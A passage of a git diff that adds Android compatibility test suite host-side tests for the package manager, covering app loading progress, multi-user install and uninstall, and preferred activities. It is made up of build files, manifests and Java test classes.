+                "testOnPackageLoadingProgressChangedCalledWithPartialLoaded"));
+    }
+
+    @LargeTest
+    @Test
+    public void testOnPackageLoadingProgressChangedCalledWithFullyLoaded() throws Exception {
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
+                "testOnPackageLoadingProgressChangedCalledWithFullyLoaded"));
+    }
+}
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/NonIncrementalLoadingProgressTest.java b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/NonIncrementalLoadingProgressTest.java
new file mode 100644
index 0000000..f77677a
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/NonIncrementalLoadingProgressTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.loadingprogress.host;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.RunUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+/**
+ * atest com.android.tests.loadingprogress.host.NonIncrementalLoadingProgressTest
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class NonIncrementalLoadingProgressTest extends BaseHostJUnit4Test {
+    private static final String DEVICE_TEST_PACKAGE_NAME =
+            "com.android.tests.loadingprogress.device";
+    private static final String TEST_APK = "CtsInstalledLoadingProgressTestsApp.apk";
+    private static final String TEST_APP_PACKAGE_NAME = "com.android.tests.loadingprogress.app";
+
+    @Before
+    public void setUp() throws Exception {
+        assertFalse(getDevice().isPackageInstalled(TEST_APP_PACKAGE_NAME));
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        final File apk = buildHelper.getTestFile(TEST_APK);
+        assertNotNull(apk);
+        assertNull(getDevice().installPackage(apk, false, "-t"));
+        assertTrue(getDevice().isPackageInstalled(TEST_APP_PACKAGE_NAME));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(TEST_APP_PACKAGE_NAME);
+        assertFalse(getDevice().isPackageInstalled(TEST_APP_PACKAGE_NAME));
+    }
+
+    @Test
+    public void testGetLoadingProgressSuccess() throws Exception {
+        // Loading progress of non-incremental apps should always be 1
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME,
+                DEVICE_TEST_PACKAGE_NAME + ".LoadingProgressTest",
+                "testGetFullLoadingProgress"));
+    }
+}
diff --git a/hostsidetests/packagemanager/installedloadingprogess/testdata/Android.bp b/hostsidetests/packagemanager/installedloadingprogess/testdata/Android.bp
new file mode 100644
index 0000000..6445cd9
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/testdata/Android.bp
@@ -0,0 +1,40 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsInstalledLoadingProgressTestsApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    v4_signature: true,
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/installedloadingprogess/testdata/AndroidManifest.xml b/hostsidetests/packagemanager/installedloadingprogess/testdata/AndroidManifest.xml
new file mode 100644
index 0000000..d4ed290
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/testdata/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.tests.loadingprogress.app">
+    <application android:testOnly="true">
+        <activity android:name="com.android.tests.loadingprogress.app.MainActivity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/installedloadingprogess/testdata/src/com/android/tests/loadingprogress/app/MainActivity.java b/hostsidetests/packagemanager/installedloadingprogess/testdata/src/com/android/tests/loadingprogress/app/MainActivity.java
new file mode 100644
index 0000000..0f0974c
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/testdata/src/com/android/tests/loadingprogress/app/MainActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.loadingprogress.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class MainActivity extends Activity {
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        finish();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/multiuser/Android.bp b/hostsidetests/packagemanager/multiuser/Android.bp
new file mode 100644
index 0000000..a6ae68a
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsPackageManagerMultiUserHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+}
diff --git a/hostsidetests/packagemanager/multiuser/AndroidTest.xml b/hostsidetests/packagemanager/multiuser/AndroidTest.xml
new file mode 100644
index 0000000..0135fc4
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS package manager multi-user host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsEmptyTestApp.apk" />
+        <option name="test-file-name" value="CtsPackageManagerMultiUserTestApp.apk" />
+    </target_preparer>
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsPackageManagerMultiUserHostTestCases.jar" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/packagemanager/multiuser/app/Android.bp b/hostsidetests/packagemanager/multiuser/app/Android.bp
new file mode 100644
index 0000000..5e955e5
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/app/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+android_test_helper_app {
+    name: "CtsPackageManagerMultiUserTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["src/**/*.java",],
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "general-tests",
+    ],
+    static_libs: ["androidx.test.rules"],
+    compile_multilib: "both",
+}
diff --git a/hostsidetests/packagemanager/multiuser/app/AndroidManifest.xml b/hostsidetests/packagemanager/multiuser/app/AndroidManifest.xml
new file mode 100644
index 0000000..5fae893
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/app/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.tests.packagemanager.multiuser.app" >
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.tests.packagemanager.multiuser.app" />
+</manifest>
diff --git a/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java b/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java
new file mode 100644
index 0000000..f35a3db
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.packagemanager.multiuser.app;
+
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class PackageManagerMultiUserTest {
+    private static final String ARG_PACKAGE_NAME = "pkgName";
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testUninstallExistingPackage() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.DELETE_PACKAGES);
+        String pkgName = InstrumentationRegistry.getArguments().getString(ARG_PACKAGE_NAME);
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        PackageManager packageManager = context.getPackageManager();
+        PackageInstaller packageInstaller = packageManager.getPackageInstaller();
+
+        packageInstaller.uninstallExistingPackage(pkgName, null);
+    }
+
+    /**
+     * Calling PackageManager#getInstalledModules on a secondary user without INTERACT_ACROSS_USERS
+     * should not throw SecurityException.
+     */
+    @Test
+    public void testGetInstalledModules() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        PackageManager packageManager = context.getPackageManager();
+        packageManager.getInstalledModules(0);
+    }
+}
diff --git a/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java
new file mode 100644
index 0000000..2deee7e
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java
@@ -0,0 +1,34 @@
+package com.android.tests.packagemanager.multiuser.host;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class PackageManagerMultiUserTest extends PackageManagerMultiUserTestBase {
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    @Test
+    @AppModeFull
+    public void testGetInstalledModules() throws Exception {
+        int newUserId = createUser();
+        getDevice().startUser(newUserId);
+        runDeviceTestAsUser("testGetInstalledModules", newUserId, null);
+    }
+}
diff --git a/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTestBase.java b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTestBase.java
new file mode 100644
index 0000000..af82685
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTestBase.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.packagemanager.multiuser.host;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+
+import javax.annotation.Nullable;
+
+public class PackageManagerMultiUserTestBase extends BaseHostJUnit4Test {
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+    private static final String TEST_PACKAGE = "com.android.tests.packagemanager.multiuser.app";
+    private static final String TEST_CLASS = ".PackageManagerMultiUserTest";
+    private static final long DEFAULT_TIMEOUT = 10 * 60 * 1000L;
+
+    private List<Integer> mCreatedUsers;
+    protected int mUserId;
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue("Device does not support multiple users",
+                getDevice().getMaxNumberOfUsersSupported() > 1);
+        mUserId = getDevice().getPrimaryUserId();
+        mCreatedUsers = new ArrayList<>();
+    }
+
+    /** Remove created users after tests. */
+    @After
+    public void tearDown() throws Exception {
+        for (int userId : mCreatedUsers) {
+            removeUser(userId);
+        }
+    }
+
+    protected void runDeviceTestAsUser(
+            String pkgName, @Nullable String testClassName,
+            @Nullable String testMethodName, int userId,
+            Map<String, String> params) throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        runDeviceTests(
+                getDevice(),
+                RUNNER,
+                pkgName,
+                testClassName,
+                testMethodName,
+                userId,
+                DEFAULT_TIMEOUT,
+                DEFAULT_TIMEOUT,
+                0L /* maxInstrumentationTimeoutMs */,
+                true /* checkResults */,
+                false /* isHiddenApiCheckDisabled */,
+                params == null ? Collections.emptyMap() : params);
+    }
+
+    protected void runDeviceTestAsUser(String testMethodName, int userId,
+            Map<String, String> params)
+            throws DeviceNotAvailableException {
+        runDeviceTestAsUser(TEST_PACKAGE, TEST_CLASS, testMethodName, userId, params);
+    }
+
+    protected int createUser() throws Exception {
+        String command = "pm create-user TestUser_" + System.currentTimeMillis();
+        LogUtil.CLog.d("Starting command " + command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+
+        // Extract the id of the new user.
+        String[] tokens = commandOutput.split("\\s+");
+        assertTrue(tokens.length > 0);
+        assertEquals("Success:", tokens[0]);
+        int userId = Integer.parseInt(tokens[tokens.length - 1]);
+        mCreatedUsers.add(userId);
+
+        setupUser(userId);
+        return userId;
+    }
+
+    protected void setupUser(int userId) throws Exception {
+        installExistingPackageForUser(TEST_PACKAGE, userId);
+    }
+
+    protected void removeUser(int userId) throws Exception {
+        String command = "pm remove-user " + userId;
+        LogUtil.CLog.d("Starting command " + command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+    }
+
+    protected void installExistingPackageForUser(String pkgName, int userId) throws Exception {
+        String command = "pm install-existing --user " + userId + " " + pkgName;
+        LogUtil.CLog.d("Starting command " + command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+    }
+
+    protected boolean isPackageInstalledForUser(String pkgName, int userId) throws Exception {
+        return getDevice().isPackageInstalled(pkgName, String.valueOf(userId));
+    }
+}
diff --git a/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/UninstallExistingPackageTest.java b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/UninstallExistingPackageTest.java
new file mode 100644
index 0000000..997b3ed
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/UninstallExistingPackageTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.packagemanager.multiuser.host;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class UninstallExistingPackageTest extends PackageManagerMultiUserTestBase {
+    private static final String EMPTY_TEST_APP_APK = "CtsEmptyTestApp.apk";
+    private static final String EMPTY_TEST_APP_PKG = "android.packageinstaller.emptytestapp.cts";
+    private static final String ARG_PACKAGE_NAME = "pkgName";
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        installPackage(EMPTY_TEST_APP_APK);
+        assertTrue(isPackageInstalled(EMPTY_TEST_APP_PKG));
+    }
+
+    /** Uninstall app after tests. */
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        uninstallPackage(getDevice(), EMPTY_TEST_APP_PKG);
+    }
+
+    @Test
+    @AppModeFull
+    public void testUninstallExistingPackage_succeedsIfInstalledInAnotherUser() throws Exception {
+        // create a  user
+        int newUserId = createUser();
+
+        // install empty test app for both users
+        installExistingPackageForUser(EMPTY_TEST_APP_PKG, newUserId);
+        assertTrue("Package is not installed for user " + mUserId,
+                isPackageInstalledForUser(EMPTY_TEST_APP_PKG, mUserId));
+        assertTrue("Package is not installed for user " + newUserId,
+                isPackageInstalledForUser(EMPTY_TEST_APP_PKG, newUserId));
+
+        // run uninstallExistingPackage from mUserId, expect package is uninstalled
+        runDeviceTestAsUser("testUninstallExistingPackage", mUserId,
+                Collections.singletonMap(ARG_PACKAGE_NAME, EMPTY_TEST_APP_PKG));
+        assertFalse(isPackageInstalledForUser(EMPTY_TEST_APP_PKG, mUserId));
+        assertTrue(isPackageInstalledForUser(EMPTY_TEST_APP_PKG, newUserId));
+    }
+
+    @Test
+    @AppModeFull
+    public void testUninstallExistingPackage_failsIfInstalledInOnlyOneUser() throws Exception {
+        // create a  user
+        int newUserId = createUser();
+
+        // assert package is only installed for mUserId
+        assertTrue(isPackageInstalledForUser(EMPTY_TEST_APP_PKG, mUserId));
+        assertFalse(isPackageInstalledForUser(EMPTY_TEST_APP_PKG, newUserId));
+
+        // run uninstallExistingPackage from mUserId, expect package is not uninstalled
+        runDeviceTestAsUser("testUninstallExistingPackage", mUserId,
+                Collections.singletonMap(ARG_PACKAGE_NAME, EMPTY_TEST_APP_PKG));
+        assertTrue(isPackageInstalledForUser(EMPTY_TEST_APP_PKG, mUserId));
+    }
+}
diff --git a/hostsidetests/packagemanager/preferredactivity/Android.bp b/hostsidetests/packagemanager/preferredactivity/Android.bp
new file mode 100644
index 0000000..c903a08
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsPackageManagerPreferredActivityHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "cts-host-utils",
+    ],
+    java_resource_dirs: ["res"],
+}
diff --git a/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml b/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
new file mode 100644
index 0000000..6494b9f
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS package manager preferred activity host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsPackageManagerPreferredActivityHostTestCases.jar" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/packagemanager/preferredactivity/apps/testapp/Android.bp b/hostsidetests/packagemanager/preferredactivity/apps/testapp/Android.bp
new file mode 100644
index 0000000..45cfa4e
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/apps/testapp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsPackageManagerPreferredActivityApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+    manifest: "AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    static_libs: ["androidx.test.rules"],
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/preferredactivity/apps/testapp/AndroidManifest.xml b/hostsidetests/packagemanager/preferredactivity/apps/testapp/AndroidManifest.xml
new file mode 100644
index 0000000..d6014e3
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/apps/testapp/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.packagemanager.preferredactivity.app">
+    <application>
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="com.android.cts.packagemanager.preferredactivity.app.MainActivity"
+                  android:launchMode="singleTop"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.PMTEST"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.packagemanager.preferredactivity.app"/>
+</manifest>
diff --git a/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/MainActivity.java b/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/MainActivity.java
new file mode 100644
index 0000000..fd7e290
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/MainActivity.java
@@ -0,0 +1,22 @@
+/*
